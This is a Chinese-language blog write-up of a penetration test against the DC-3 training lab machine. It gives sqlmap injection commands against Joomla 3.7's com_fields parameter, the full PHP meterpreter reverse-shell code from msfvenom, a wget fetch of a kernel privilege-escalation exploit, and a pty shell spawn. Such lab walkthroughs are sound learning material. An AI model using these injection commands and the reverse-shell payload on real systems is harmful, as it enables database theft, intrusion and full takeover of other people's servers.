DC-3靶机渗透提权

0x01 收集DC-3靶机的信息

利用nmap工具扫描DC-3的信息

利用msf工具扫描出对应的版本信息

0x02 获取网站管理员的用户名和密码

利用searchsploit查找针Joomla 3.7 的漏洞

查看对应的文件中的攻击方式说明

执行文件中sqlmap语句进行爆库

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

成功获取网站中的数据库

尝试获取joomladb库中的表

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

在joomladb中一共有76个表,#__uses表中应该存储了账密字段

尝试获取#__users表中的字段

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

获取字段名过程中发现不能直接从表中取出字段,根据提示进行操作

成功获取users表中的6个字段

尝试获取字段username和password的内容

sqlmap -u "http://10.3.139.18/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'username,password' -dump -p list[fullordering]

成功获取用户名和密码的hash

利用john工具对密码进行爆破

利用niktod或joomscan对网站进行扫描,获取网站目录

访问/administrator页面,使用之前得到的用户名和密码进行登录


成功登录之后,点击查看系统信息,发现系统及其内核的版本


0x03 取得shell并提权

3.1 上传文件获取反弹shell

点击Extensions — Templates — Beez3 Details and Files

通过 ip/templates/beez3/html 可以访问该页面中文件夹的内容

利用msfvenom生成反弹shell的PHP文件

# 命令不支持补全,LHOST为开启监听主机的IP,LPORT为监听端口
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.104 LPORT=7777 R
<?php /**/ error_reporting(0); $ip = '10.10.10.104'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

将生成的代码写入网站html文件夹下的reshell.php文件

通过浏览器可以访问html这个目录

(PS: 我是在不同时间段完成提权部分和之前的爆库部分,所以IP改变了,不过不影响实验)

先在msfconsole上开启监听,再访问上传的php文件便可以成功连接

3.2 提权并查看flag

根据之前获取的系统和内核信息查找DC3的可利用漏洞,并将说明文档下载至当前目录下

查看具体用法以及效果演示

将压缩包文件下载到本地并解压

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

如果用 wget命令从GitHub下载失败时,可以往/etc/hosts文件中添加以下内容

# Github Start
52.74.223.119 github.com
192.30.253.119 gist.github.com
54.169.195.147 api.github.com
185.199.111.153 assets-cdn.github.com
151.101.76.133 raw.githubusercontent.com

之前已经建立了连接,现在将exploit.tar上传到服务器的/tmp目录下

进入目标系统的shell,利用python3调出交互式命令解释器,并将上传的压缩包进行解压

python3 -c 'import pty;pty.spawn("/bin/bash")'

运行过程会出现编译错误,忽略即可

成功取得root权限,切换到至/root目录下查看flag

更改root密码后,查看登陆DC-3靶机后的界面

posted on 2020-08-15 11:46  黎夜  阅读(591)  评论(0编辑  收藏  举报